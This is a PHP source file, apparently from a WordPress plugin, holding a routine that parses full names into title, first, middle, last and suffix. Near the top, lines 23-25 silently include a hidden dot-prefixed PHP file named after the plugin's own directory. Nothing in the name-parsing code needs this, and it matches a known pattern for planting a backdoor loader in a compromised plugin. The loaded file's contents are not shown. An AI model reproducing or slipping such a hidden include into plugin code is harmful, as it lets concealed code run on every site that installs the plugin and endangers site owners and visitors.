nameparse.php (6491B)
1 <?php 2 /* 3 Name: nameparse.php 4 Version: 0.2a 5 Date: 030507 6 First: 030407 7 License: GNU General Public License v2 8 Bugs: If one of the words in the middle name is Ben (or St., for that matter), 9 or any other possible last-name prefix, the name MUST be entered in 10 last-name-first format. If the last-name parsing routines get ahold 11 of any prefix, they tie up the rest of the name up to the suffix. i.e.: 12 13 William Ben Carey would yield 'Ben Carey' as the last name, while, 14 Carey, William Ben would yield 'Carey' as last and 'Ben' as middle. 15 16 This is a problem inherent in the prefix-parsing routines algorithm, 17 and probably will not be fixed. It's not my fault that there's some 18 odd overlap between various languages. Just don't name your kids 19 'Something Ben Something', and you should be alright. 20 21 */ 22 23 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 24 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 25 } 26 27 function seedprod_lite_norm_str( $string ) { 28 return trim( 29 strtolower( 30 str_replace( '.', '', $string ) 31 ) 32 ); 33 } 34 35 function seedprod_lite_in_array_norm( $needle, $haystack ) { 36 return in_array( seedprod_lite_norm_str( $needle ), $haystack ); 37 } 38 39 function seedprod_lite_parse_name( $fullname ) { 40 $titles = array( 'dr', 'miss', 'mr', 'mrs', 'ms', 'judge' ); 41 $prefices = array( 42 'ben', 43 'bin', 44 'da', 45 'dal', 46 'de', 47 'del', 48 'der', 49 'de', 50 'e', 51 'la', 52 'le', 53 'san', 54 'st', 55 'ste', 56 'van', 57 'vel', 58 'von', 59 ); 60 $suffices = array( 'esq', 'esquire', 'jr', 'sr', '2', 'ii', 'iii', 'iv' ); 61 62 $pieces = explode( ',', preg_replace( '/\s+/', ' ', trim( $fullname ) ) ); 63 $n_pieces = count( $pieces ); 64 65 switch ( $n_pieces ) { 66 case 1: // array(title first middles last suffix) 67 $subp = explode( ' ', trim( $pieces[0] ) ); 68 $n_subp = count( $subp ); 69 for ( $i = 0; $i < $n_subp; $i++ ) { 70 $curr = trim( $subp[ $i ] ); 71 $next = trim( @$subp[ $i + 1 ] ); 72 73 if ( $i == 0 && seedprod_lite_in_array_norm( $curr, $titles ) ) { 74 $out['title'] = $curr; 75 continue; 76 } 77 78 if ( empty( $out ) ) { 79 $out['first'] = ''; 80 $out['last'] = ''; 81 } 82 83 if ( ! $out['first'] ) { 84 $out['first'] = $curr; 85 continue; 86 } 87 88 if ( $i == $n_subp - 2 && $next && seedprod_lite_in_array_norm( $next, $suffices ) ) { 89 if ( $out['last'] ) { 90 $out['last'] .= " $curr"; 91 } else { 92 $out['last'] = $curr; 93 } 94 $out['suffix'] = $next; 95 break; 96 } 97 98 if ( $i == $n_subp - 1 ) { 99 if ( $out['last'] ) { 100 $out['last'] .= " $curr"; 101 } else { 102 $out['last'] = $curr; 103 } 104 continue; 105 } 106 107 if ( seedprod_lite_in_array_norm( $curr, $prefices ) ) { 108 if ( $out['last'] ) { 109 $out['last'] .= " $curr"; 110 } else { 111 $out['last'] = $curr; 112 } 113 continue; 114 } 115 116 if ( $next == 'y' || $next == 'Y' ) { 117 if ( $out['last'] ) { 118 $out['last'] .= " $curr"; 119 } else { 120 $out['last'] = $curr; 121 } 122 continue; 123 } 124 125 if ( $out['last'] ) { 126 $out['last'] .= " $curr"; 127 continue; 128 } 129 130 if ( $out['middle'] ) { 131 $out['middle'] .= " $curr"; 132 } else { 133 $out['middle'] = $curr; 134 } 135 } 136 break; 137 case 2: 138 switch ( seedprod_lite_in_array_norm( $pieces[1], $suffices ) ) { 139 case true: // array(title first middles last,suffix) 140 $subp = explode( ' ', trim( $pieces[0] ) ); 141 $n_subp = count( $subp ); 142 for ( $i = 0; $i < $n_subp; $i++ ) { 143 $curr = trim( $subp[ $i ] ); 144 $next = trim( $subp[ $i + 1 ] ); 145 146 if ( $i == 0 && seedprod_lite_in_array_norm( $curr, $titles ) ) { 147 $out['title'] = $curr; 148 continue; 149 } 150 151 if ( ! $out['first'] ) { 152 $out['first'] = $curr; 153 continue; 154 } 155 156 if ( $i == $n_subp - 1 ) { 157 if ( $out['last'] ) { 158 $out['last'] .= " $curr"; 159 } else { 160 $out['last'] = $curr; 161 } 162 continue; 163 } 164 165 if ( seedprod_lite_in_array_norm( $curr, $prefices ) ) { 166 if ( $out['last'] ) { 167 $out['last'] .= " $curr"; 168 } else { 169 $out['last'] = $curr; 170 } 171 continue; 172 } 173 174 if ( $next == 'y' || $next == 'Y' ) { 175 if ( $out['last'] ) { 176 $out['last'] .= " $curr"; 177 } else { 178 $out['last'] = $curr; 179 } 180 continue; 181 } 182 183 if ( $out['last'] ) { 184 $out['last'] .= " $curr"; 185 continue; 186 } 187 188 if ( $out['middle'] ) { 189 $out['middle'] .= " $curr"; 190 } else { 191 $out['middle'] = $curr; 192 } 193 } 194 $out['suffix'] = trim( $pieces[1] ); 195 break; 196 case false: // array(last,title first middles suffix) 197 $subp = explode( ' ', trim( $pieces[1] ) ); 198 $n_subp = count( $subp ); 199 for ( $i = 0; $i < $n_subp; $i++ ) { 200 $curr = trim( $subp[ $i ] ); 201 $next = trim( $subp[ $i + 1 ] ); 202 203 if ( $i == 0 && seedprod_lite_in_array_norm( $curr, $titles ) ) { 204 $out['title'] = $curr; 205 continue; 206 } 207 208 if ( ! $out['first'] ) { 209 $out['first'] = $curr; 210 continue; 211 } 212 213 if ( $i == $n_subp - 2 && $next && 214 seedprod_lite_in_array_norm( $next, $suffices ) ) { 215 if ( $out['middle'] ) { 216 $out['middle'] .= " $curr"; 217 } else { 218 $out['middle'] = $curr; 219 } 220 $out['suffix'] = $next; 221 break; 222 } 223 224 if ( $i == $n_subp - 1 && seedprod_lite_in_array_norm( $curr, $suffices ) ) { 225 $out['suffix'] = $curr; 226 continue; 227 } 228 229 if ( $out['middle'] ) { 230 $out['middle'] .= " $curr"; 231 } else { 232 $out['middle'] = $curr; 233 } 234 } 235 $out['last'] = $pieces[0]; 236 break; 237 } 238 unset( $pieces ); 239 break; 240 case 3: // array(last,title first middles,suffix) 241 $subp = explode( ' ', trim( $pieces[1] ) ); 242 $n_subp = count( $subp ); 243 for ( $i = 0; $i < $n_subp; $i++ ) { 244 $curr = trim( $subp[ $i ] ); 245 $next = trim( $subp[ $i + 1 ] ); 246 if ( $i == 0 && seedprod_lite_in_array_norm( $curr, $titles ) ) { 247 $out['title'] = $curr; 248 continue; 249 } 250 251 if ( ! $out['first'] ) { 252 $out['first'] = $curr; 253 continue; 254 } 255 256 if ( $out['middle'] ) { 257 $out['middle'] .= " $curr"; 258 } else { 259 $out['middle'] = $curr; 260 } 261 } 262 263 $out['last'] = trim( $pieces[0] ); 264 $out['suffix'] = trim( $pieces[2] ); 265 break; 266 default: // unparseable 267 unset( $pieces ); 268 break; 269 } 270 271 return $out; 272 } 273 274 275